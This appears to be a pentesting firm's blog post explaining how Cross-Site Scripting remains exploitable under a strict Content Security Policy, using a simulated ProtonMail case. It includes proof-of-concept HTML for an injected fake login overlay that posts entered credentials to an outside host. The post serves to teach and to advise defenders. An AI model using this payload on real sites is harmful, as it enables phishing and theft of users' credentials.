Cross-Site Scripting in a Content Security Policy world
Cross-Site Scripting is a common vulnerability in web applications that we (still) encounter often while doing a security test on a web application. This vulnerability arises when untrusted input is processed in an insecure manner in the output of a web application. It is caused by a lack of output encoding, or by using improper output encoding methods. Cross-Site Scripting allows a malicious actor to change the output of a website. Most Cross-Site Scripting attacks will attempt to run malicious scripts in the browser of (other) users.
Modern browsers support Content Security Policy, which is a defense in depth layer to mitigate certain type of attacks, including Cross-Site Scripting. Servers can define a policy by returning a Content-Security-Policy (-Report-Only) HTTP header (or alternatively using a meta HTML tag). While a Content Security Policy mitigates Cross-Site Scripting, it does nothing to prevent the injection from occurring. An attacker can still inject arbitrary data in the output of a vulnerable website, a Content Security Policy merely limits what an attacker can do.
Disclaimer: this blog contains a number of examples using the ProtonMail website. No actual Cross-Site Scripting vulnerability has been exploited in ProtonMail. Rather it is simulated as if the website contains a Cross-Site Scripting vulnerability. ProtonMail was merely chosen because it has a decent Content Security Policy.
Implementing Content Security Policy
Things are easier when creating an application from scratch as it can be designed with a (restrictive) policy in mind. Even so it may still be hard to keep the policy in line with what developers are building. Often these situations will result in an overly permissive policy, or worse no policy at all. As a result the added layer of security is limited, allowing it to be 'circumvented'.
Blocking inline scripts
The Content Security Policy defined on the ProtonMail login page is pretty straight forward and provides a solid extra layer of security.
Figure 1: Content-Security-Policy of mail.protonmail.com
Figure 2: Firefox blocks the injected inline script due to the presence of a Content Security Policy
(Not) bypassing the policy
What if we don't try bypass the policy, but rather work with what we can do. It appears that even with a strict policy there is enough opportunity for an attacker. A possible attack would be to overlay an existing page with a fake (injected) page, for example a fake login page. Modern web pages are deployed with rich front ends, having extensive stylesheets. These stylesheets are likely to have styles defined that could be used to create such an overlay. Looking at ProtonMail's stylesheet we can find the following class styles:
When these styles are applied to a div tag, the .CodeMirror-gutters will cause the div to cover the entire page vertically, while the contactItem-validation style covers the entire page horizontally. Figure 3 demonstrates this, a div is injected that covers the entire page.
Figure 3: injected div that covers the entire page using ProtonMail's own styles
Injecting the fake login page
Now that we have a div that covers the entire page we have the base for showing anything on the webpage that we want. In case of ProtonMail we could show a fake login page that sends entered credentials to an attacker-controlled site. The code below is a (stripped down) proof of concept login page that could be injected in the ProtonMail site. The background is made pink to make it more visible that the injected login page is shown (overlayed) instead of the legitimate one.
<div id="logon" class="CodeMirror-gutters contactItem-validation">
<div id="body" ui-view="panel">
<table width="100%" bgcolor="#DB7093">
<tr height="4000px" valign="top">
<form method="post" id="pm_login" action="https://securify.nl/" class="pm_panel alt pm_form loginForm-container">
<input id="username" name="username" class="margin loginForm-input-username" type="text">
<input id="password" name="password" class="margin loginForm-input-username" type="password">
<button id="login_btn" type="submit" class="loginForm-actions-main pm_button primary pull-right loginForm-btn-submit">Login</button>
Figure 4: injected login page on ProtonMail
Wrapping it up
Regardless of having deployed a Content Security Policy, organizations should always resolve Cross-Site Scripting vulnerabilities even though there may not be a known exploit at that time. Of course, not all Cross-Site Scripting vulnerabilities are created equal - some are less likely to be exploited than others (triage and prioritize). In general it is important to resolve Cross-Site Scripting vulnerabilities in a timely manner (and of course other important vulnerabilities).
Pentesters should not focus too much on one particular attack vector, be creative and come up with other attack vectors to demonstrate vulnerabilities. Also be aware that Content Security Policy is a defense in depth measure, a permissive policy is not necessarily a security risk. Try to understand why a policy is configured in a certain way and work with your client to make it as strict as possible - without breaking the web application. Just saying a policy is weak, and not giving a proper guidance will hurt your own credibility in the long term. The better you can advise your client, the more likely it is they will hire you again in the future.